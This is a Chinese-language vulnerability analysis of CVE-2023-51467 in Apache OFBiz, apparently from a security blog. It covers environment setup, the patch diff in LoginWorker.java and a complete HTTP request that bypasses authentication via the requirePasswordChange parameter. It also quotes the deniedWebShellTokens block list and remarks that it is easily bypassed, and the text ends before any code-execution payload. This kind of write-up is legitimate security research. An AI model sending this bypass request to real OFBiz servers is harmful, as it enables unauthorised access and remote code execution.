0x01 简介
Apache OFBiz 是一个用于企业流程自动化的开源产品。它包括 ERP、CRM、电子商务/电子商务、供应链管理和制造资源规划的框架组件和业务应用程序。OFBiz 为可靠、安全和可扩展的企业解决方案提供了基础和起点。
0x02 漏洞概述
漏洞编号:CVE-2023-51467
该漏洞利用权限绕过+后台groovy代码执行以实现未授权RCE。由于在ofbiz 18.12.10版本官方仍未修复权限绕过漏洞,导致攻击者能够利用此漏洞绕过权限并且配合后台代码执行来获取远程服务器权限。
0x03 影响版本
Apache Ofbiz <18.12.11
0x04 环境搭建
下载个apache-ofbiz-18.12.10.zip,用IDEA打开后静静的等依赖拉好
https://downloads.apache.org/ofbiz/
然后可以用个偷懒的办法把环境跑起来,先执行如下命令把测试数据创建好
./gradlew cleanAll loadAll
然后在IDEA debug org.apache.ofbiz.base.start.Start就行
tips:
1.如果启动报错端口被占用,改下framework\start\src\main\java\org\apache\ofbiz\base\start\start.properties的ofbiz.admin.port就行
2.18.12.11在windows下有个重定向的bug,想用新版建议18.12最新版的commit或者dokcer,https://github.com/apache/ofbiz-framework/tree/release18.12
0x05 漏洞分析
01 权限绕过
从cve的漏洞链接里翻了半天,锁定如下commit
https://github.com/apache/ofbiz-framework/commit/ee02a33509589856ab1ad08399e8dcee6b0edf58
framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/LoginWorker.java#login
String errMsg = UtilProperties.getMessage(RESOURCE, "loginevents.following_error_occurred_during_login",
messageMap, UtilHttp.getLocale(request));
request.setAttribute("_ERROR_MESSAGE_", errMsg);
- return requirePasswordChange ? "requirePasswordChange" : "error";
+ return "error";
}
}
可以看到官方只是把返回的requirePasswordChange删除了,之前看过ofbiz相关分析的bro应该马上就反应过来咋回事了,没看过的xd可以参考下先知的这篇文章,对ofbiz鉴权这块解释的很详细,https://xz.aliyun.com/t/13168#toc-7
很明显,如果返回requirePasswordChange而不是error能bypass掉部分路由的权限验证。(这里只是盲测了几个别的路由接口,感觉很有finebi那种接口不要鉴权,进去第一句代码就是检测是否有admin权限)
拿下面的接口下payload验证下确实是这么bypass权限的
GET /accounting/control/globalGLSettings?USERNAME=a&PASSWORD=a&JavaScriptEnabled=Y&TOKEN=&requirePasswordChange=Y HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://127.0.0.1:8443/accounting/control/login
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
02 通用后台RCE
这部分就不过多废话了,y4tacker师傅写的已经相当详细,其实就是官方的过滤很容易被bypass,当然在最新版这个后台RCE依旧存在(Ps:主要是修起来突出一个没完没了哈哈)。
过滤如下,DENIEDWEBSHELLTOKENS来自\framework\security\config\security.properties,如下,突出一个看着很容易Bypass的,实际也很容易被Bypass。
deniedWebShellTokens=java.,beans,freemarker,